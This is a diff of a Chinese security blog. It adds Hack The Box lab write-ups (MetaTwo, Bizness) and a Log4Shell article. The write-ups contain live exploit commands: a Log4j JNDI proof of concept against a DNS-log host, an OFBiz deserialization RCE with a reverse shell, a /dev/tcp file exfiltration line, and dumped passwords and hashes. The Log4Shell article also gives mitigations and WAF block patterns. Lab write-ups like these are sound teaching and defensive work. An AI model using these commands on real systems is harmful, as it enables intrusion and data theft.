1g 0:00:00:02 DONE (2024-09-15 17:48) 0.3937g/s 75.59p/s 75.59c/s 75.59C/s carolina..november
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
+ +

爆破出密码blink182

+

利用爆破出的密码,导出passpie密码库:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
jnelson@meta2:~$ passpie export passwd
Passphrase:
jnelson@meta2:~$ ls
passwd user.txt
jnelson@meta2:~$ cat passwd
credentials:
- comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
fullname: jnelson@ssh
login: jnelson
modified: 2022-06-26 08:58:15.514422
name: ssh
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0
+ +

使用root密码p7qfAZt4_A1xo_0x 登陆获得root_flag.

+
1
2
3
4
jnelson@meta2:~$ su root
Password:
root@meta2:/home/jnelson# cat /root/root.txt
e0a4f8aac97646de58a612e9825392dd
+ +

注意事项

对于已经爆破成功的文件:第二次只用show参数即可,不需要重复多次爆破。

+
1
2
3
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# john --show user.hash
manager:partylikearockstar
+ + + +

参考

https://github.com/evyatar9/Writeups/tree/master/HackTheBox/MetaTwo

+

https://medium.com/@KonradDaWo/hackthebox-metatwo-writeup-59135896c890

+

https://7rocky.github.io/en/htb/metatwo/

+

https://enterprise.hackthebox.com/machine/605/19206/writeup

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2024/09/11/HTB_MetaTwo/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git a/2024/09/11/HTB_MetaTwo/upload.png b/2024/09/11/HTB_MetaTwo/upload.png new file mode 100644 index 000000000..fb5ce21ef Binary files /dev/null and b/2024/09/11/HTB_MetaTwo/upload.png differ diff --git a/2024/09/14/log4j/dnslog.png b/2024/09/14/log4j/dnslog.png new file mode 100644 index 000000000..84b750774 Binary files /dev/null and b/2024/09/14/log4j/dnslog.png differ diff --git a/2024/09/14/log4j/index.html b/2024/09/14/log4j/index.html new file mode 100644 index 000000000..55d0f989c --- /dev/null +++ b/2024/09/14/log4j/index.html @@ -0,0 +1,301 @@ +Log4jShell事件 | h4m5t's Blog + + + + + + + + + + + + + +

Log4jShell事件

简介

Log4j 漏洞又称“Log4Shell”,是 2021 年 11 月在 Apache Log4j 日志库中发现的一个严重漏洞。Apache log4j 是一个开源的基于 Java 的日志框架,它允许开发人员将 Log4J 库插入到自己的应用程序中,而无需编写专用的日志记录器。这种便利性是 Log4J 被广泛使用的原因。它被广泛用于大量商业软件中,例如 Steam 和 Apple iCloud。它还被广泛用于其他网站框架基础,例如 Elasticsearch、Kafka 等。
Log4Shell 是 Apache Log4J 2.14.1 及更早版本中的远程代码执行 (RCE) 漏洞,其常见漏洞披露标识符为 CVE-2021-44228。Log4j 漏洞是互联网历史上最具破坏性的漏洞之一。
根据IBM官方威胁情报记录,Log4j漏洞导致2021年12月全球网络攻击数量激增。
研究人员认为,Log4Shell是一个“灾难性”的0 Day漏洞,因为Log4J是全球部署最广泛的开源程序之一,而且该漏洞不需要特殊权限或身份验证,很容易被黑客利用。
美国网络安全和基础设施安全局(CISA)局长Jen Easterly在接受媒体采访时表示,这是她职业生涯中见过的最严重的事件。她还表示,CISA正在积极与公共和私营部门的合作伙伴合作,解决影响包含Log4j软件库的产品的关键漏洞。

+

受影响版本:

+
1
Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed.
+ + + +
+ + + + + + + +

Incident Timeline

+ +

缓解措施

Log4j漏洞,也称为 **Log4Shell (CVE-2021-44228)**,是一个严重的远程代码执行(RCE)漏洞,影响了 Apache Log4j 2 版本。这一漏洞允许攻击者通过向日志记录输入恶意的JNDI(Java Naming and Directory Interface)查找字符串,触发服务器下载和执行恶意代码。

+

为了防止该漏洞的利用,以下是一些缓解措施和修复步骤。

+

升级 Log4j 版本

这是最有效的解决方案。Apache 官方已经发布了修复版本,建议尽快升级到2.15以上版本

+

禁用 JNDI 功能

如果暂时无法升级 Log4j,可以通过禁用 JNDI 功能来缓解漏洞。

+

修改 Log4j 配置:

    +
  • 禁用 JNDI 查找功能:可以通过系统属性来禁用 JNDI 查找。
  • +
+

在 JVM 启动时添加以下系统属性:

+
1
-Dlog4j2.formatMsgNoLookups=true
+ +

这将禁用日志事件中对 ${jndi:} 查找的解析。

+
+

注意:该方法适用于 Log4j 2.10 至 2.14.1 的版本。对于 Log4j 2.15.0 及以上版本,这个选项默认被启用,但最好还是尽快升级到最新版本。

+
+

移除 JndiLookup 类

对于无法及时升级的情况,还可以通过移除 JndiLookup 类来减轻漏洞影响。

+
    +
  1. 找到 Log4j jar 文件。

    +
  2. +
  3. 使用以下命令移除 JndiLookup 类:

    +
    1
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  4. +
+

这会从 log4j-core jar 文件中删除该类,从而禁用 JNDI 查找。

+

外出网络流量限制

虽然这并不能完全修复漏洞,但可以通过限制外部网络访问和加强防火墙规则来减少被攻击的风险。

+
    +
  • 禁用对外部 LDAP 和 RMI 服务的访问:JNDI 查找功能依赖于外部 LDAP 和 RMI 服务,限制这些访问可以减少漏洞被利用的机会。
  • +
  • 在防火墙或网络层面上,阻止访问 LDAP(端口 389、636)RMI(端口 1099)
  • +
+

配置WAF规则

    +
  • **使用 Web 应用防火墙 (WAF)**:可以配置 WAF 规则,阻止带有 ${jndi:${ctx: 等可能利用 Log4j 的字符串请求。
  • +
  • 容器化环境修复:如果你的应用运行在容器环境中,确保基础镜像已经升级到不受漏洞影响的版本。
  • +
+

总结

    +
  • 最佳解决方案:升级到 Log4j 2.15或更高版本。
  • +
  • 短期缓解措施:通过 -Dlog4j2.formatMsgNoLookups=true 禁用 JNDI 查找功能,或者移除 JndiLookup 类。
  • +
  • 其他防御措施:加强网络限制、监控日志中的可疑活动,使用防火墙规则限制外部 LDAP/RMI 请求。
  • +
+

扫描漏洞

https://github.com/fullhunt/log4j-scan

+

https://github.com/cisagov/log4j-scanner

+

https://github.com/proferosec/log4jScanner

+

需要指定一个DNS callback服务器。比如dnslog.cn

+

漏洞复现

通过使用了这个库的应用来复现这个漏洞,比如Apache Solr。

+

通过vulhub提供的镜像,启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

+
1
2
cd vulhub-master/log4j/CVE-2021-44228
docker compose up -d
+ +

服务启动后,访问http://localhost:8983即可查看到Apache Solr的后台页面。

+

Poc:

+
1
http://localhost:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.bf5c23cc.log.dnslog.biz.}
+ +

https://dnslog.org/ 中看到DNS解析纪录中,返回了java版本。漏洞复现成功。

+

dnslog

+

也可使用Marshalsec进行LDAP,RMI漏洞利用。

+

参考

https://github.com/pentesterland/Log4Shell

+

https://www.51cto.com/article/714872.html

+

https://www.youtube.com/watch?v=XC3Oqn_yADk

+

https://www.youtube.com/watch?v=Opqgwn8TdlM

+

https://www.youtube.com/watch?v=7qoPDq41xhQ

+

遇到的问题

docker问题

vulhub提供的都是amd的docker镜像,在arm的linux虚拟机里跑不起来。用https://github.com/vulhub/vulhub/issues/478 用的解决方法也未成功。

+

于是在Mac上启动docker, Use Rosetta for x86_64/amd64 emulation on Apple Silicon.

+

JNDInjector

本来准备用JNDInjector这个工具,但是运行报错,在官网下载JavaFX的aarch64架构的JDK,下载后发现java版本不匹配。升级java:

+

访问Azul Zulu的下载页面: https://www.azul.com/downloads/?package=jdk#zulu

+

选择Java 17 (LTS)版本,下载dmg并安装。

+

验证是否安装成功

+
1
/usr/libexec/java_home -V
+ +

添加环境变量

+
1
echo 'export JAVA_HOME=$(/usr/libexec/java_home -v 17)' >> ~/.zshrc
+ +

查看版本

+
1
2
3
4
java --version
openjdk 17.0.12 2024-07-16 LTS
OpenJDK Runtime Environment Zulu17.52+17-CA (build 17.0.12+7-LTS)
OpenJDK 64-Bit Server VM Zulu17.52+17-CA (build 17.0.12+7-LTS, mixed mode, sharing)
+ +
1
java -verbose:class --module-path ./javafx-sdk-21.0.4/lib --add-modules javafx.controls,javafx.fxml -jar JNDInjector.jar
+ +

还是跑不起来,暂时作罢。

+

Latex Test

$\sum_{i=0}^n i^2 = \frac{(n^2+n)(2n+1)}{6}$

+

$$
\left.x^2\right\rvert_3^5 = 5^2-3^2
$$

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2024/09/14/log4j/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git a/2024/09/14/log4j/log4j.png b/2024/09/14/log4j/log4j.png new file mode 100644 index 000000000..808ad9c2b Binary files /dev/null and b/2024/09/14/log4j/log4j.png differ diff --git a/2024/09/15/HTB_Bizness/gparted.png b/2024/09/15/HTB_Bizness/gparted.png new file mode 100644 index 000000000..8f7b3c08b Binary files /dev/null and b/2024/09/15/HTB_Bizness/gparted.png differ diff --git a/2024/09/15/HTB_Bizness/index.html b/2024/09/15/HTB_Bizness/index.html new file mode 100644 index 000000000..1d57e56e5 --- /dev/null +++ b/2024/09/15/HTB_Bizness/index.html @@ -0,0 +1,326 @@ +HTB_Bizness | h4m5t's Blog + + + + + + + + + + + + + +

HTB_Bizness

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# nmap -p- $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 20:43 AEST
Nmap scan report for bizness.htb (10.129.232.1)
Host is up (0.040s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
41845/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 12.65 seconds
+ +
1
echo "10.129.232.1 bizness.htb" | sudo tee -a /etc/hosts
+ +

目录扫描:

+
1
2
3
4
5
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# dirsearch -u https://bizness.htb/

┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# feroxbuster -k -u https://bizness.htb
+ +

根据扫描结果进入https://bizness.htb/content/ 页面

+

自动跳转到https://bizness.htb/content/control/main 登陆界面

+

查看右下角发现ERP系统版本:

+
1
Copyright (c) 2001-2024 The Apache Software Foundation. Powered by Apache OFBiz. Release 18.12
+ +

查询到此版本的Apache OFBiz有RCE漏洞CVE-2023-49070

+

反序列化

下载工具ysoserial

+
1
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
+ + + +

创建exploit.py (此处会利用到ysoserial-all.jar)

+

参考:https://github.com/abdoghazy2015/ofbiz-CVE-2023-49070-RCE-POC/blob/main/exploit.py

+

运行报错,提示需要安装java-11-openjdk环境

+

安装并切换java

+
1
sudo apt install openjdk-11-jdk
+ +
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# update-alternatives --config java
There are 3 choices for the alternative java (providing /usr/bin/java).

Selection Path Priority Status
------------------------------------------------------------
* 0 /usr/lib/jvm/java-21-openjdk-arm64/bin/java 2111 auto mode
1 /usr/lib/jvm/java-11-openjdk-arm64/bin/java 1111 manual mode
2 /usr/lib/jvm/java-17-openjdk-arm64/bin/java 1711 manual mode
3 /usr/lib/jvm/java-21-openjdk-arm64/bin/java 2111 manual mode

Press <enter> to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/lib/jvm/java-11-openjdk-arm64/bin/java to provide /usr/bin/java (java) in manual mode

┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# java --version
openjdk 11.0.20-ea 2023-07-18
OpenJDK Runtime Environment (build 11.0.20-ea+7-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.20-ea+7-post-Debian-1, mixed mode)
+ + + +

开启tcpdump

+
1
sudo tcpdump -i 2 icmp
+ +

运行POC

+
1
2
3
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# python3 exploit.py https://bizness.htb rce "ping -c 5 10.10.14.8"
Not Sure Worked or not
+ +

查看抓到的数据包:

+
1
2
3
4
5
6
7
8
┌──(root@kali)-[/home/h4m5t/Desktop]
└─# tcpdump -i 2 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
21:47:38.693694 tun0 In IP bizness.htb > 10.10.14.8: ICMP echo request, id 55668, seq 1, length 64
21:47:38.693728 tun0 Out IP 10.10.14.8 > bizness.htb: ICMP echo reply, id 55668, seq 1, length 64
21:47:39.695235 tun0 In IP bizness.htb > 10.10.14.8: ICMP echo request, id 55668, seq 2, length 64
21:47:39.695274 tun0 Out IP 10.10.14.8 > bizness.htb: ICMP echo reply, id 55668, seq 2, length 64
+ +

说明RCE成功,现在进行反向shell

+

首先开启nc监听,再运行exp

+
1
nc -nlvp 4444
+ +
1
2
3
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# python3 exploit.py https://bizness.htb shell 10.10.14.8:4444
Not Sure Worked or not
+ +

shell

+

在用户目录下找到flag: /home/ofbiz/user.txt

+

获取数据库derby中信息

找到安全配置文件/opt/ofbiz/framework/security/config/security.properties

+

查看用的哈希算法是默认的SHA-1 ,这是个好消息,因为SHA-1不安全,有可能破解。

+
1
2
3
4
ofbiz@bizness:/opt/ofbiz/framework/security/config$ cat security.properties | grep hash
<ecurity/config$ cat security.properties | grep hash
# -- specify the type of hash to use for one-way encryption, will be passed to java.security.MessageDigest.getInstance() --
password.encrypt.hash.type=SHA
+ + + +

这就引出了下一个问题,即密码和其他信息在 Apache OFBiz 中的存储位置。经查询,默认情况下,OFBiz 使用名为 Apache Derby 的嵌入式 Java 数据库。

+

经查询,数据库文件存储在/opt/ofbiz/runtime/data/derby

+
1
2
3
4
5
6
7
8
9
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ ls -la
ls -la
total 24
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Dec 21 2023 .
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 2023 ..
-rw-r--r-- 1 ofbiz ofbiz-operator 2320 Sep 15 06:12 derby.log
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Sep 15 06:12 ofbiz
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Sep 15 06:12 ofbizolap
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Sep 15 06:12 ofbiztenant
+ +

使用derby-tools的ij命令连接数据库。命令示例:

+
1
CONNECT 'jdbc:derby:./ofbiz';
+ + + +

从目标机器下载ofbiz文件到本地:

+

在kali开启监听。

+
1
2
3
4
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# nc -nlvp 4444 > ofbiz.tar
listening on [any] 4444 ...
connect to [10.10.14.8] from (UNKNOWN) [10.129.232.1] 40826
+ +

在目标机器上:

+
1
2
3
cd /opt/ofbiz/runtime/data/derby
tar cvf ofbiz.tar ofbiz
cat ofbiz.tar > /dev/tcp/10.10.14.8/4444
+ +

为了连接到此数据库,需要先下载工具。

+
1
apt install derby-tools
+ +

连接并查看表:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# ij
ij version 10.14
ij> CONNECT 'jdbc:derby:./ofbiz';
ij> SHOW TABLES;
TABLE_SCHEM |TABLE_NAME |REMARKS
------------------------------------------------------------------------
SYS |SYSALIASES |
SYS |SYSCHECKS |
SYS |SYSCOLPERMS |
SYS |SYSCOLUMNS |
SYS |SYSCONGLOMERATES |
SYS |SYSCONSTRAINTS |
SYS |SYSDEPENDS |
SYS |SYSFILES |
SYS |SYSFOREIGNKEYS |
SYS |SYSKEYS |
SYS |SYSPERMS |
SYS |SYSROLES |
SYS |SYSROUTINEPERMS |
SYS |SYSSCHEMAS |
SYS |SYSSEQUENCES |
SYS |SYSSTATEMENTS |
SYS |SYSSTATISTICS |
SYS |SYSTABLEPERMS |
SYS |SYSTABLES |
SYS |SYSTRIGGERS |
SYS |SYSUSERS |
SYS |SYSVIEWS |
SYSIBM |SYSDUMMY1 |
OFBIZ |ACCOMMODATION_CLASS |
OFBIZ |ACCOMMODATION_MAP |
OFBIZ |ACCOMMODATION_MAP_TYPE |
OFBIZ |ACCOMMODATION_SPOT |
OFBIZ |ACCTG_TRANS |
+ + + +

找到关于用户信息的表:

+
1
2
3
4
5
6
OFBIZ               |USER_LOGIN                    |                    
OFBIZ |USER_LOGIN_HISTORY |
OFBIZ |USER_LOGIN_PASSWORD_HISTORY |
OFBIZ |USER_LOGIN_SECURITY_GROUP |
OFBIZ |USER_LOGIN_SECURITY_QUESTION |
OFBIZ |USER_LOGIN_SESSION |
+ +
1
SELECT * FROM OFBIZ.USER_LOGIN;
+ +
1
SELECT USER_LOGIN_ID,CURRENT_PASSWORD FROM OFBIZ.USER_LOGIN;
+ +

结果如下:

+
1
2
3
4
5
6
7
8
9
ij> SELECT USER_LOGIN_ID, CURRENT_PASSWORD FROM OFBIZ.USER_LOGIN;

USER_LOGIN_ID | CURRENT_PASSWORD
-----------------------------------------------------
system | NULL
anonymous | NULL
admin | $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

3 rows selected
+ + + +

分析源码 反向解码

此处密码存储格式很奇怪,不能用传统的john或者Hashcat直接破解。

+

机器上存在源码,查看哈希算法源码。

+
1
/opt/ofbiz/framework/base/src/main/java/org/apache/ofbiz/base/crypto/HashCrypt.java
+ +

源码如下:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
cat HashCrypt.java 
/*******************************************************************************
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*******************************************************************************/
package org.apache.ofbiz.base.crypto;

import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.security.spec.InvalidKeySpecException;
import java.util.Arrays;

import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.binary.Hex;
import org.apache.commons.lang.RandomStringUtils;
import org.apache.ofbiz.base.util.Debug;
import org.apache.ofbiz.base.util.GeneralRuntimeException;
import org.apache.ofbiz.base.util.StringUtil;
import org.apache.ofbiz.base.util.UtilIO;
import org.apache.ofbiz.base.util.UtilProperties;
import org.apache.ofbiz.base.util.UtilValidate;

/**
* Utility class for doing SHA-1/PBKDF2 One-Way Hash Encryption
*
*/
public class HashCrypt {

public static final String module = HashCrypt.class.getName();
public static final String CRYPT_CHAR_SET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./";

private static final String PBKDF2_SHA1 ="PBKDF2-SHA1";
private static final String PBKDF2_SHA256 ="PBKDF2-SHA256";
private static final String PBKDF2_SHA384 ="PBKDF2-SHA384";
private static final String PBKDF2_SHA512 ="PBKDF2-SHA512";
private static final int PBKDF2_ITERATIONS = UtilProperties.getPropertyAsInteger("security.properties", "password.encrypt.pbkdf2.iterations", 10000);

public static MessageDigest getMessageDigest(String type) {
try {
return MessageDigest.getInstance(type);
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Could not load digestor(" + type + ")", e);
}
}

public static boolean comparePassword(String crypted, String defaultCrypt, String password) {
if (crypted.startsWith("{PBKDF2")) {
return doComparePbkdf2(crypted, password);
} else if (crypted.startsWith("{")) {
return doCompareTypePrefix(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()));
} else if (crypted.startsWith("$")) {
return doComparePosix(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()));
} else {
return doCompareBare(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()));
}
}

private static boolean doCompareTypePrefix(String crypted, String defaultCrypt, byte[] bytes) {
int typeEnd = crypted.indexOf("}");
String hashType = crypted.substring(1, typeEnd);
String hashed = crypted.substring(typeEnd + 1);
MessageDigest messagedigest = getMessageDigest(hashType);
messagedigest.update(bytes);
byte[] digestBytes = messagedigest.digest();
char[] digestChars = Hex.encodeHex(digestBytes);
String checkCrypted = new String(digestChars);
if (hashed.equals(checkCrypted)) {
return true;
}
// This next block should be removed when all {prefix}oldFunnyHex are fixed.
if (hashed.equals(oldFunnyHex(digestBytes))) {
Debug.logWarning("Warning: detected oldFunnyHex password prefixed with a hashType; this is not valid, please update the value in the database with ({%s}%s)", module, hashType, checkCrypted);
return true;
}
return false;
}

private static boolean doComparePosix(String crypted, String defaultCrypt, byte[] bytes) {
int typeEnd = crypted.indexOf("$", 1);
int saltEnd = crypted.indexOf("$", typeEnd + 1);
String hashType = crypted.substring(1, typeEnd);
String salt = crypted.substring(typeEnd + 1, saltEnd);
String hashed = crypted.substring(saltEnd + 1);
return hashed.equals(getCryptedBytes(hashType, salt, bytes));
}

private static boolean doCompareBare(String crypted, String defaultCrypt, byte[] bytes) {
String hashType = defaultCrypt;
String hashed = crypted;
MessageDigest messagedigest = getMessageDigest(hashType);
messagedigest.update(bytes);
return hashed.equals(oldFunnyHex(messagedigest.digest()));
}

/*
* @deprecated use cryptBytes(hashType, salt, password); eventually, use
* cryptUTF8(hashType, salt, password) after all existing installs are
* salt-based. If the call-site of cryptPassword is just used to create a *new*
* value, then you can switch to cryptUTF8 directly.
*/
@Deprecated
public static String cryptPassword(String hashType, String salt, String password) {
if (hashType.startsWith("PBKDF2")) {
return password != null ? pbkdf2HashCrypt(hashType, salt, password) : null;
}
return password != null ? cryptBytes(hashType, salt, password.getBytes(UtilIO.getUtf8())) : null;
}

public static String cryptUTF8(String hashType, String salt, String value) {
if (hashType.startsWith("PBKDF2")) {
return value != null ? pbkdf2HashCrypt(hashType, salt, value) : null;
}
return value != null ? cryptBytes(hashType, salt, value.getBytes(UtilIO.getUtf8())) : null;
}

public static String cryptValue(String hashType, String salt, String value) {
if (hashType.startsWith("PBKDF2")) {
return value != null ? pbkdf2HashCrypt(hashType, salt, value) : null;
}
return value != null ? cryptBytes(hashType, salt, value.getBytes(UtilIO.getUtf8())) : null;
}

public static String cryptBytes(String hashType, String salt, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
if (salt == null) {
salt = RandomStringUtils.random(new SecureRandom().nextInt(15) + 1, CRYPT_CHAR_SET);
}
StringBuilder sb = new StringBuilder();
sb.append("$").append(hashType).append("$").append(salt).append("$");
sb.append(getCryptedBytes(hashType, salt, bytes));
return sb.toString();
}

private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(salt.getBytes(UtilIO.getUtf8()));
messagedigest.update(bytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while comparing password", e);
}
}

public static String pbkdf2HashCrypt(String hashType, String salt, String value){
char[] chars = value.toCharArray();
if (UtilValidate.isEmpty(salt)) {
salt = getSalt();
}
try {
PBEKeySpec spec = new PBEKeySpec(chars, salt.getBytes(UtilIO.getUtf8()), PBKDF2_ITERATIONS, 64 * 4);
SecretKeyFactory skf = SecretKeyFactory.getInstance(hashType);
byte[] hash = Base64.encodeBase64(skf.generateSecret(spec).getEncoded());
String pbkdf2Type = null;
switch (hashType) {
case "PBKDF2WithHmacSHA1":
pbkdf2Type = PBKDF2_SHA1;
break;
case "PBKDF2WithHmacSHA256":
pbkdf2Type = PBKDF2_SHA256;
break;
case "PBKDF2WithHmacSHA384":
pbkdf2Type = PBKDF2_SHA384;
break;
case "PBKDF2WithHmacSHA512":
pbkdf2Type = PBKDF2_SHA512;
break;
default:
pbkdf2Type = PBKDF2_SHA1;
}
StringBuilder sb = new StringBuilder();
sb.append("{").append(pbkdf2Type).append("}");
sb.append(PBKDF2_ITERATIONS).append("$");
sb.append(org.apache.ofbiz.base.util.Base64.base64Encode(salt)).append("$");
sb.append(new String(hash));
return sb.toString();
} catch (InvalidKeySpecException e) {
throw new GeneralRuntimeException("Error while creating SecretKey", e);
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing SecretKeyFactory", e);
}
}

public static boolean doComparePbkdf2(String crypted, String password){
try {
int typeEnd = crypted.indexOf("}");
String hashType = crypted.substring(1, typeEnd);
String[] parts = crypted.split("\\$");
int iterations = Integer.parseInt(parts[0].substring(typeEnd+1));
byte[] salt = org.apache.ofbiz.base.util.Base64.base64Decode(parts[1]).getBytes(UtilIO.getUtf8());
byte[] hash = Base64.decodeBase64(parts[2].getBytes(UtilIO.getUtf8()));

PBEKeySpec spec = new PBEKeySpec(password.toCharArray(), salt, iterations, hash.length * 8);
switch (hashType.substring(hashType.indexOf("-")+1)) {
case "SHA256":
hashType = "PBKDF2WithHmacSHA256";
break;
case "SHA384":
hashType = "PBKDF2WithHmacSHA384";
break;
case "SHA512":
hashType = "PBKDF2WithHmacSHA512";
break;
default:
hashType = "PBKDF2WithHmacSHA1";
}
SecretKeyFactory skf = SecretKeyFactory.getInstance(hashType);
byte[] testHash = skf.generateSecret(spec).getEncoded();
int diff = hash.length ^ testHash.length;

for (int i = 0; i < hash.length && i < testHash.length; i++) {
diff |= hash[i] ^ testHash[i];
}

return diff == 0;
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing SecretKeyFactory", e);
} catch (InvalidKeySpecException e) {
throw new GeneralRuntimeException("Error while creating SecretKey", e);
}
}

private static String getSalt() {
try {
SecureRandom sr = SecureRandom.getInstance("SHA1PRNG");
byte[] salt = new byte[16];
sr.nextBytes(salt);
return Arrays.toString(salt);
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while creating salt", e);
}
}

public static String digestHash(String hashType, String code, String str) {
if (str == null) {
return null;
}
byte[] codeBytes;
try {
if (code == null) {
codeBytes = str.getBytes(UtilIO.getUtf8());
} else {
codeBytes = str.getBytes(code);
}
} catch (UnsupportedEncodingException e) {
throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
}
return digestHash(hashType, codeBytes);
}

public static String digestHash(String hashType, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(bytes);
byte[] digestBytes = messagedigest.digest();
char[] digestChars = Hex.encodeHex(digestBytes);

StringBuilder sb = new StringBuilder();
sb.append("{").append(hashType).append("}");
sb.append(digestChars, 0, digestChars.length);
return sb.toString();
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
}
}

public static String digestHash64(String hashType, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(bytes);
byte[] digestBytes = messagedigest.digest();

StringBuilder sb = new StringBuilder();
sb.append("{").append(hashType).append("}");
sb.append(Base64.encodeBase64URLSafeString(digestBytes).replace('+', '.'));
return sb.toString();
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
}
}

/**
* @deprecated use cryptPassword
*/
@Deprecated
